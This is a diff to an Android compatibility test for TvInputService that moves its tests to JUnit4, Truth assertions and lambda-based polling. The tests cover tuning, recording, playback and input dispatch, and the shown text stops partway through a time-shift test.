 import android.media.tv.TvRecordingClient;
 import android.media.tv.TvTrackInfo;
 import android.media.tv.TvView;
-import android.media.tv.cts.TvInputServiceTest.CountingTvInputService.CountingSession;
 import android.media.tv.cts.TvInputServiceTest.CountingTvInputService.CountingRecordingSession;
+import android.media.tv.cts.TvInputServiceTest.CountingTvInputService.CountingSession;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.IBinder;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.text.TextUtils;
+import android.util.Log;
 import android.view.InputDevice;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
@@ -42,32 +48,58 @@
 import android.view.View;
 import android.widget.LinearLayout;
 
-import android.tv.cts.R;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
+import com.google.common.truth.Truth;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
-import java.util.Set;
-
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.function.Consumer;
+import java.util.function.Function;
 
 /**
  * Test {@link android.media.tv.TvInputService}.
  */
-public class TvInputServiceTest extends ActivityInstrumentationTestCase2<TvViewStubActivity> {
-    /** The maximum time to wait for an operation. */
-    private static final long TIME_OUT = 15000L;
-    private static final String DUMMT_TRACK_ID = "dummyTrackId";
-    private static final TvTrackInfo DUMMY_TRACK =
-            new TvTrackInfo.Builder(TvTrackInfo.TYPE_VIDEO, DUMMT_TRACK_ID)
-            .setVideoWidth(1920).setVideoHeight(1080).setLanguage("und").build();
-    private static Bundle sDummyBundle;
+@RunWith(AndroidJUnit4.class)
+public class TvInputServiceTest {
 
-    private TvView mTvView;
+    private static final String TAG = "TvInputServiceTest";
+
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_LIVE_TV);
+
+    @Rule
+    public ActivityScenarioRule<TvViewStubActivity> activityRule =
+            new ActivityScenarioRule(TvViewStubActivity.class);
+
+
+    private static final Uri CHANNEL_0 = TvContract.buildChannelUri(0);
+    /** The maximum time to wait for an operation. */
+    private static final long TIME_OUT = 5000L;
+    private static final TvTrackInfo TEST_TV_TRACK =
+            new TvTrackInfo.Builder(TvTrackInfo.TYPE_VIDEO, "testTrackId")
+                    .setVideoWidth(1920)
+                    .setVideoHeight(1080)
+                    .setLanguage("und")
+                    .build();
+
     private TvRecordingClient mTvRecordingClient;
-    private Activity mActivity;
     private Instrumentation mInstrumentation;
     private TvInputManager mManager;
     private TvInputInfo mStubInfo;
@@ -190,22 +222,21 @@
         }
     }
 
-    public TvInputServiceTest() {
-        super(TvViewStubActivity.class);
+    private static Bundle createTestBundle() {
+        Bundle b = new Bundle();
+        b.putString("stringKey", new String("Test String"));
+        return b;
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!Utils.hasTvInputFramework(getActivity())) {
-            return;
-        }
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-        mTvView = (TvView) mActivity.findViewById(R.id.tvview);
-        mTvRecordingClient = new TvRecordingClient(mActivity, "TvInputServiceTest",
+    @Before
+    public void setUp() {
+        mInstrumentation = InstrumentationRegistry
+                .getInstrumentation();
+        mTvRecordingClient = new TvRecordingClient(mInstrumentation.getTargetContext(),
+                "TvInputServiceTest",
                 mRecordingCallback, null);
-        mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
+        mManager = (TvInputManager) mInstrumentation.getTargetContext().getSystemService(
+                Context.TV_INPUT_SERVICE);
         for (TvInputInfo info : mManager.getTvInputList()) {
             if (info.getServiceInfo().name.equals(CountingTvInputService.class.getName())) {
                 mStubInfo = info;
@@ -217,824 +248,703 @@
                 break;
             }
         }
-        assertNotNull(mStubInfo);
-        mTvView.setCallback(mCallback);
+        assertThat(mStubInfo).isNotNull();
 
         CountingTvInputService.sSession = null;
-        CountingTvInputService.sTvInputSessionId = null;
+        resetCounts();
+        resetPassedValues();
     }
 
-    public void testTvInputServiceSession() throws Throwable {
-        if (!Utils.hasTvInputFramework(getActivity())) {
-            return;
-        }
-        initDummyBundle();
-        verifyCommandTune();
-        verifyCommandTuneWithBundle();
-        verifyCommandSendAppPrivateCommand();
-        verifyCommandSetStreamVolume();
-        verifyCommandSetCaptionEnabled();
-        verifyCommandSelectTrack();
-        verifyCommandDispatchKeyDown();
-        verifyCommandDispatchKeyMultiple();
-        verifyCommandDispatchKeyUp();
-        verifyCommandDispatchTouchEvent();
-        verifyCommandDispatchTrackballEvent();
-        verifyCommandDispatchGenericMotionEvent();
-        verifyCommandTimeShiftPause();
-        verifyCommandTimeShiftResume();
-        verifyCommandTimeShiftSeekTo();
-        verifyCommandTimeShiftSetPlaybackParams();
-        verifyCommandTimeShiftPlay();
-        verifyCommandSetTimeShiftPositionCallback();
-        verifyCommandOverlayViewSizeChanged();
-        verifyCallbackChannelRetuned();
-        verifyCallbackVideoAvailable();
-        verifyCallbackVideoUnavailable();
-        verifyCallbackTracksChanged();
-        verifyCallbackTrackSelected();
-        verifyCallbackVideoSizeChanged();
-        verifyCallbackContentAllowed();
-        verifyCallbackContentBlocked();
-        verifyCallbackTimeShiftStatusChanged();
-        verifyCallbackLayoutSurface();
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mTvView.reset();
-            }
+    @After
+    public void tearDown() {
+        activityRule.getScenario().onActivity(activity -> {
+            activity.getTvView().reset();
         });
-        mInstrumentation.waitForIdleSync();
     }
 
-    public void testTvInputServiceRecordingSession() throws Throwable {
-        if (!Utils.hasTvInputFramework(getActivity())) {
-            return;
-        }
-        initDummyBundle();
-        verifyCommandTuneForRecording();
-        verifyCallbackConnectionFailed();
-        verifyCommandTuneForRecordingWithBundle();
-        verifyCallbackTuned();
-        verifyCommandStartRecording();
-        verifyCommandStartRecordingWithBundle();
-        verifyCommandStopRecording();
-        verifyCommandSendAppPrivateCommandForRecording();
-        verifyCallbackRecordingStopped();
-        verifyCallbackError();
-        verifyCommandRelease();
-        verifyCallbackDisconnected();
-    }
-
+    @Test
     public void verifyCommandTuneForRecording() {
-        resetCounts();
-        resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.tune(mStubInfo.getId(), fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                final String tvInputSessionId = CountingTvInputService.sTvInputSessionId;
-                return session != null && session.mTuneCount > 0
-                        && tvInputSessionId != null
-                        && Objects.equals(session.mTunedChannelUri, fakeChannelUri);
-            }
-        }.run();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+
+        assertThat(session.mSessionId).isNotEmpty();
+        assertThat(session.mTuneCount).isEqualTo(1);
+        assertThat(session.mTunedChannelUri).isEqualTo(CHANNEL_0);
     }
 
+    @Test
     public void verifyCommandTuneForRecordingWithBundle() {
-        resetCounts();
-        resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.tune(mStubInfo.getId(), fakeChannelUri, sDummyBundle);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                final String tvInputSessionId = CountingTvInputService.sTvInputSessionId;
-                return session != null
-                        && tvInputSessionId != null
-                        && session.mTuneCount > 0
-                        && session.mTuneWithBundleCount > 0
-                        && Objects.equals(session.mTunedChannelUri, fakeChannelUri)
-                        && bundleEquals(session.mTuneWithBundleData, sDummyBundle);
-            }
-        }.run();
+        final Bundle bundle = createTestBundle();
+
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0, bundle);
+
+        assertThat(session.mSessionId).isNotEmpty();
+        assertThat(session.mTuneCount).isEqualTo(1);
+        assertThat(session.mTuneWithBundleCount).isEqualTo(1);
+        assertThat(session.mTunedChannelUri).isEqualTo(CHANNEL_0);
+        assertBundlesAreEqual(session.mTuneWithBundleData, bundle);
     }
 
+    @Test
     public void verifyCommandRelease() {
-        resetCounts();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+
         mTvRecordingClient.release();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null && session.mReleaseCount > 0;
-            }
-        }.run();
+
+        PollingCheck.waitFor(TIME_OUT, () -> session.mReleaseCount > 0);
+        assertThat(session.mReleaseCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandStartRecording() {
-        resetCounts();
-        resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.startRecording(fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null
-                        && session.mStartRecordingCount > 0
-                        && Objects.equals(session.mProgramHint, fakeChannelUri);
-            }
-        }.run();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
+        PollingCheck.waitFor(TIME_OUT, () -> session.mStartRecordingCount > 0);
+        assertThat(session.mStartRecordingCount).isEqualTo(1);
+        assertThat(session.mProgramHint).isEqualTo(CHANNEL_0);
     }
 
+    @Test
     public void verifyCommandStartRecordingWithBundle() {
-        resetCounts();
-        resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.startRecording(fakeChannelUri, sDummyBundle);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null
-                        && session.mStartRecordingCount > 0
-                        && session.mStartRecordingWithBundleCount > 0
-                        && Objects.equals(session.mProgramHint, fakeChannelUri)
-                        && bundleEquals(session.mStartRecordingWithBundleData, sDummyBundle);
-            }
-        }.run();
+        Bundle bundle = createTestBundle();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0, bundle);
+        notifyTuned(CHANNEL_0);
+
+        mTvRecordingClient.startRecording(CHANNEL_0, bundle);
+        PollingCheck.waitFor(TIME_OUT, () -> session.mStartRecordingWithBundleCount > 0);
+
+        assertThat(session.mStartRecordingCount).isEqualTo(1);
+        assertThat(session.mStartRecordingWithBundleCount).isEqualTo(1);
+        assertThat(session.mProgramHint).isEqualTo(CHANNEL_0);
+        assertBundlesAreEqual(session.mStartRecordingWithBundleData, bundle);
     }
 
+    @Test
+    public void verifyCommandPauseResumeRecordingWithBundle() {
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
+        final Bundle bundle = createTestBundle();
+        mTvRecordingClient.pauseRecording(bundle);
+        PollingCheck.waitFor(TIME_OUT, () -> session.mPauseRecordingWithBundleCount > 0);
+
+        assertThat(session.mPauseRecordingWithBundleCount).isEqualTo(1);
+
+        mTvRecordingClient.resumeRecording(bundle);
+        PollingCheck.waitFor(TIME_OUT, () -> session.mResumeRecordingWithBundleCount > 0);
+
+        assertThat(session.mResumeRecordingWithBundleCount).isEqualTo(1);
+        assertBundlesAreEqual(session.mResumeRecordingWithBundleData, bundle);
+
+    }
+
+    @Test
+    public void verifyCommandPauseResumeRecording() {
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
+        mTvRecordingClient.pauseRecording();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mPauseRecordingWithBundleCount > 0);
+
+        assertThat(session.mPauseRecordingWithBundleCount).isEqualTo(1);
+
+        mTvRecordingClient.resumeRecording();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mResumeRecordingWithBundleCount > 0);
+
+        assertThat(session.mPauseRecordingWithBundleCount).isEqualTo(1);
+        assertBundlesAreEqual(session.mResumeRecordingWithBundleData, Bundle.EMPTY);
+    }
+
+    @Test
     public void verifyCommandStopRecording() {
-        resetCounts();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
         mTvRecordingClient.stopRecording();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null && session.mStopRecordingCount > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mStopRecordingCount > 0);
+
+        assertThat(session.mStopRecordingCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandSendAppPrivateCommandForRecording() {
-        resetCounts();
-        resetPassedValues();
+        Bundle bundle = createTestBundle();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
         final String action = "android.media.tv.cts.TvInputServiceTest.privateCommand";
-        mTvRecordingClient.sendAppPrivateCommand(action, sDummyBundle);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null
-                        && session.mAppPrivateCommandCount > 0
-                        && bundleEquals(session.mAppPrivateCommandData, sDummyBundle)
-                        && TextUtils.equals(session.mAppPrivateCommandAction, action);
-            }
-        }.run();
+
+        mTvRecordingClient.sendAppPrivateCommand(action, bundle);
+        PollingCheck.waitFor(TIME_OUT, () -> session.mAppPrivateCommandCount > 0);
+
+        assertThat(session.mAppPrivateCommandCount).isEqualTo(1);
+        assertBundlesAreEqual(session.mAppPrivateCommandData, bundle);
+        assertThat(session.mAppPrivateCommandAction).isEqualTo(action);
     }
 
+    @Test
     public void verifyCallbackTuned() {
-        resetCounts();
-        resetPassedValues();
-        final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-        assertNotNull(session);
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        session.notifyTuned(fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mTunedCount > 0
-                        && Objects.equals(mRecordingCallback.mTunedChannelUri, fakeChannelUri);
-            }
-        }.run();
+        tuneForRecording(CHANNEL_0);
+
+        notifyTuned(CHANNEL_0);
+
+        assertThat(mRecordingCallback.mTunedCount).isEqualTo(1);
+        assertThat(mRecordingCallback.mTunedChannelUri).isEqualTo(CHANNEL_0);
     }
 
+
+    @Test
     public void verifyCallbackError() {
-        resetCounts();
-        resetPassedValues();
-        final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-        assertNotNull(session);
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
         final int error = TvInputManager.RECORDING_ERROR_UNKNOWN;
+
         session.notifyError(error);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mErrorCount > 0
-                        && mRecordingCallback.mError == error;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mErrorCount > 0);
+
+        assertThat(mRecordingCallback.mErrorCount).isEqualTo(1);
+        assertThat(mRecordingCallback.mError).isEqualTo(error);
     }
 
+    @Test
     public void verifyCallbackRecordingStopped() {
-        resetCounts();
-        resetPassedValues();
-        final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-        assertNotNull(session);
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        session.notifyRecordingStopped(fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mRecordingStoppedCount > 0
-                        && Objects.equals(mRecordingCallback.mRecordedProgramUri, fakeChannelUri);
-            }
-        }.run();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
+        session.notifyRecordingStopped(CHANNEL_0);
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mRecordingStoppedCount > 0);
+
+        assertThat(mRecordingCallback.mRecordingStoppedCount).isEqualTo(1);
+        assertThat(mRecordingCallback.mRecordedProgramUri).isEqualTo(CHANNEL_0);
     }
 
+    @Test
     public void verifyCallbackConnectionFailed() {
         resetCounts();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.tune("invalid_input_id", fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mConnectionFailedCount > 0;
-            }
-        }.run();
+
+        mTvRecordingClient.tune("invalid_input_id", CHANNEL_0);
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mConnectionFailedCount > 0);
+
+        assertThat(mRecordingCallback.mConnectionFailedCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCallbackDisconnected() {
         resetCounts();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.tune(mFaultyStubInfo.getId(), fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mDisconnectedCount > 0;
-            }
-        }.run();
+
+        mTvRecordingClient.tune(mFaultyStubInfo.getId(), CHANNEL_0);
+
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mDisconnectedCount > 0);
     }
 
+    @Test
     public void verifyCommandTune() {
         resetCounts();
         resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvView.tune(mStubInfo.getId(), fakeChannelUri);
-        mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                final String tvInputSessionId = CountingTvInputService.sTvInputSessionId;
-                return session != null
-                        && tvInputSessionId != null
-                        && session.mTuneCount > 0
-                        && session.mCreateOverlayView > 0
-                        && Objects.equals(session.mTunedChannelUri, fakeChannelUri);
-            }
-        }.run();
+
+        final CountingSession session = tune(CHANNEL_0);
+
+        assertWithMessage("session").that(session).isNotNull();
+        assertWithMessage("tvInputSessionId").that(session.mSessionId).isNotEmpty();
+        assertWithMessage("mTuneCount").that(session.mTuneCount).isGreaterThan(0);
+        assertWithMessage("mCreateOverlayView").that(session.mCreateOverlayView).isGreaterThan(0);
+        assertWithMessage("mTunedChannelUri").that(session.mTunedChannelUri).isEqualTo(CHANNEL_0);
     }
 
+    @Test
     public void verifyCommandTuneWithBundle() {
+        Bundle bundle = createTestBundle();
         resetCounts();
         resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvView.tune(mStubInfo.getId(), fakeChannelUri, sDummyBundle);
-        mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                final String tvInputSessionId = CountingTvInputService.sTvInputSessionId;
-                return session != null
-                        && tvInputSessionId != null
-                        && session.mTuneCount > 0
-                        && session.mTuneWithBundleCount > 0
-                        && Objects.equals(session.mTunedChannelUri, fakeChannelUri)
-                        && bundleEquals(session.mTuneWithBundleData, sDummyBundle);
-            }
-        }.run();
+
+        onTvView(tvView -> tvView.tune(mStubInfo.getId(), CHANNEL_0, bundle));
+        final CountingSession session = waitForSessionCheck(s -> s.mTuneWithBundleCount > 0);
+
+        assertThat(session.mTuneCount).isEqualTo(1);
+        assertThat(session.mTuneWithBundleCount).isEqualTo(1);
+        assertThat(session.mTunedChannelUri).isEqualTo(CHANNEL_0);
+        assertBundlesAreEqual(session.mTuneWithBundleData, bundle);
     }
 
+    @Test
     public void verifyCommandSetStreamVolume() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final float volume = 0.8f;
-        mTvView.setStreamVolume(volume);
+
+        onTvView(tvView -> tvView.setStreamVolume(volume));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mSetStreamVolumeCount > 0
-                        && session.mStreamVolume == volume;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mSetStreamVolumeCount > 0);
+
+        assertThat(session.mSetStreamVolumeCount).isEqualTo(1);
+        assertThat(session.mStreamVolume).isEqualTo(volume);
     }
 
+    @Test
     public void verifyCommandSetCaptionEnabled() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final boolean enable = true;
-        mTvView.setCaptionEnabled(enable);
+        onTvView(tvView -> tvView.setCaptionEnabled(enable));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mSetCaptionEnabledCount > 0
-                        && session.mCaptionEnabled == enable;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mSetCaptionEnabledCount > 0);
+        assertThat(session.mSetCaptionEnabledCount).isEqualTo(1);
+        assertThat(session.mCaptionEnabled).isEqualTo(enable);
     }
 
+    @Test
     public void verifyCommandSelectTrack() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         verifyCallbackTracksChanged();
-        final int dummyTrackType = DUMMY_TRACK.getType();
-        final String dummyTrackId = DUMMY_TRACK.getId();
-        mTvView.selectTrack(dummyTrackType, dummyTrackId);
+        final int dummyTrackType = TEST_TV_TRACK.getType();
+        final String dummyTrackId = TEST_TV_TRACK.getId();
+
+        onTvView(tvView -> tvView.selectTrack(dummyTrackType, dummyTrackId));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mSelectTrackCount > 0
-                        && session.mSelectTrackType == dummyTrackType
-                        && TextUtils.equals(session.mSelectTrackId, dummyTrackId);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mSelectTrackCount > 0);
+
+        assertThat(session.mSelectTrackCount).isEqualTo(1);
+        assertThat(session.mSelectTrackType).isEqualTo(dummyTrackType);
+        assertThat(session.mSelectTrackId).isEqualTo(dummyTrackId);
     }
 
+    @Test
     public void verifyCommandDispatchKeyDown() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final int keyCode = KeyEvent.KEYCODE_Q;
         final KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, keyCode);
-        mTvView.dispatchKeyEvent(event);
+
+        onTvView(tvView -> tvView.dispatchKeyEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mKeyDownCount > 0
-                        && session.mKeyDownCode == keyCode
-                        && keyEventEquals(event, session.mKeyDownEvent);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mKeyDownCount > 0);
+
+        assertThat(session.mKeyDownCount).isEqualTo(1);
+        assertThat(session.mKeyDownCode).isEqualTo(keyCode);
+        assertKeyEventEquals(session.mKeyDownEvent, event);
     }
 
+    @Test
     public void verifyCommandDispatchKeyMultiple() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final int keyCode = KeyEvent.KEYCODE_Q;
         final KeyEvent event = new KeyEvent(KeyEvent.ACTION_MULTIPLE, keyCode);
-        mTvView.dispatchKeyEvent(event);
+
+        onTvView(tvView -> tvView.dispatchKeyEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mKeyMultipleCount > 0
-                        && session.mKeyMultipleCode == keyCode
-                        && keyEventEquals(event, session.mKeyMultipleEvent)
-                        && session.mKeyMultipleNumber == event.getRepeatCount();
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mKeyMultipleCount > 0);
+
+        assertThat(session.mKeyMultipleCount).isEqualTo(1);
+        assertKeyEventEquals(session.mKeyMultipleEvent, event);
+        assertThat(session.mKeyMultipleNumber).isEqualTo(event.getRepeatCount());
     }
 
+    @Test
     public void verifyCommandDispatchKeyUp() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final int keyCode = KeyEvent.KEYCODE_Q;
         final KeyEvent event = new KeyEvent(KeyEvent.ACTION_UP, keyCode);
-        mTvView.dispatchKeyEvent(event);
+
+        onTvView(tvView -> tvView.dispatchKeyEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mKeyUpCount > 0
-                        && session.mKeyUpCode == keyCode
-                        && keyEventEquals(event, session.mKeyUpEvent);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mKeyUpCount > 0);
+
+        assertThat(session.mKeyUpCount).isEqualTo(1);
+        assertThat(session.mKeyUpCode).isEqualTo(keyCode);
+        assertKeyEventEquals(session.mKeyUpEvent, event);
+
     }
 
+    @Test
     public void verifyCommandDispatchTouchEvent() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final long now = SystemClock.uptimeMillis();
         final MotionEvent event = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 1.0f, 1.0f,
                 1.0f, 1.0f, 0, 1.0f, 1.0f, 0, 0);
         event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
-        mTvView.dispatchTouchEvent(event);
+
+        onTvView(tvView -> tvView.dispatchTouchEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mTouchEventCount > 0
-                        && motionEventEquals(session.mTouchEvent, event);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTouchEventCount > 0);
+
+        assertThat(session.mTouchEventCount).isEqualTo(1);
+        assertMotionEventEquals(session.mTouchEvent, event);
     }
 
+    @Test
     public void verifyCommandDispatchTrackballEvent() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final long now = SystemClock.uptimeMillis();
         final MotionEvent event = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 1.0f, 1.0f,
                 1.0f, 1.0f, 0, 1.0f, 1.0f, 0, 0);
         event.setSource(InputDevice.SOURCE_TRACKBALL);
-        mTvView.dispatchTouchEvent(event);
+        onTvView(tvView -> tvView.dispatchTouchEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mTrackballEventCount > 0
-                        && motionEventEquals(session.mTrackballEvent, event);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTrackballEventCount > 0);
+
+        assertThat(session.mTrackballEventCount).isEqualTo(1);
+        assertMotionEventEquals(session.mTrackballEvent, event);
     }
 
+    @Test
     public void verifyCommandDispatchGenericMotionEvent() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final long now = SystemClock.uptimeMillis();
         final MotionEvent event = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 1.0f, 1.0f,
                 1.0f, 1.0f, 0, 1.0f, 1.0f, 0, 0);
-        mTvView.dispatchGenericMotionEvent(event);
+        onTvView(tvView -> tvView.dispatchGenericMotionEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mGenricMotionEventCount > 0
-                        && motionEventEquals(session.mGenricMotionEvent, event);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mGenricMotionEventCount > 0);
+
+        assertThat(session.mGenricMotionEventCount).isEqualTo(1);
+        assertMotionEventEquals(session.mGenricMotionEvent, event);
     }
 
+    @Test
     public void verifyCommandTimeShiftPause() {
-        resetCounts();
-        mTvView.timeShiftPause();
+        final CountingSession session = tune(CHANNEL_0);
+        onTvView(tvView -> tvView.timeShiftPause());
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftPauseCount > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTimeShiftPauseCount > 0);
+
+        assertThat(session.mTimeShiftPauseCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandTimeShiftResume() {
-        resetCounts();
-        mTvView.timeShiftResume();
+        final CountingSession session = tune(CHANNEL_0);
+
+        onTvView(tvView -> {
+            tvView.timeShiftResume();
+        });
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftResumeCount > 0;
